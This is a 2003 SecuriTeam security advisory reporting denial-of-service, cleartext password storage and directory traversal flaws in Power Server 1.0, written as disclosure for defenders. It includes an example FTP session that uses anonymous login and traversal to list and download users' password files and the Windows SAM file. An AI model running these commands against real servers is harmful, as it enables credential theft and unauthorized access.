

[NT] Multiple Vulnerabilities in Power Server

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-06/0063.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 06/19/03

To: list@securiteam.com

Date: 19 Jun 2003 18:17:00 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security in Canada

Toronto-based Sunrays Technologies is now Beyond Security's representative in Canada.

We welcome ISPs, system integrators and IT systems resellers

to promote the most advanced vulnerability assessment solutions today.

Contact us at 416-482-0038 or at canadasales@beyondsecurity.com

Multiple Vulnerabilities in Power Server

SUMMARY

<<http://www.html-helper.com/powerserver/whatsserver.asp>> Power Server is "as you might have guessed a web server. But unlike most web servers, Power server is open source, comes with tons of options, and has a ton of features". Multiple vulnerabilities have been found in the product allow remote attackers to cause the server to no longer respond to legitimate requests, read any files that are stored locally, and grab the usernames and passwords stored under the server.

DETAILS

Vulnerable systems:

* Power Server version 1.0

Denial of Service in HTTP server:

A remote user can issue an HTTP GET request for '///// [500,000 times]'.
This will cause the server consume large amounts of CPU time (88% - 95%).

Clear text passwords:

Securiteam: [NT] Multiple Vulnerabilities in Power Server

The FTP server add-on stores all usernames and passwords under the folder: C:\Program Files\html-helper\Power Server\Addons\FTPUsers in clear text. Under this folder you can find a file for each of the user and inside the file their password.

Denial of Service in the FTP server:

A remote user can send a string of 50,000 characters or more as an argument of the USER or PASS command, and cause the target server to consume large amounts of CPU time (88% – 95%).

A remote authenticated user can cause the server to consume large amounts of CPU time with the CWD, LS, and MKDIR commands in a very similar way.

Directory traversal in the FTP server:

A remote user with access to the FTP server, including anonymous access, can traverse into directories outside those bounded by the FTP root, and to download files by providing the complete path to the file (i.e. c:\boot.ini).

Examples:

```
> ftp 10.10.10.1
```

```
220 PowerServer FTP Server ready.
```

```
User (10.10.10.1:(none)): anonymous
```

```
331 Password required for anonymous.
```

```
Password:
```

```
230 User anonymous logged in.
```

```
ftp> ls c:/ ==> To View The Contents Of c:\
```

```
ftp> ls "C:/Program Files/html-helper/Power Server/Addons/FTPUsers/" ==>
```

```
To see a list of all the users under the FTP server
```

```
200 Port command successful.
```

```
150 Opening data connection for directory list.
```

```
.
```

```
..
```

```
Anonymous.ini
```

```
user1.ini
```

```
user2.ini
```

```
.
```

```
.
```

```
.
```

```
ftp> get "C:/Program Files/html-helper/Power  
Server/Addons/FTPUsers/user1.ini" ==> Retrieve the user's file with his  
password.
```

```
ftp> get "C:/winnt/repair/sam._"
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:vulncode@yahoo.com>> Ziv Kamir.

Securiteam: [NT] Multiple Vulnerabilities in Power Server

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.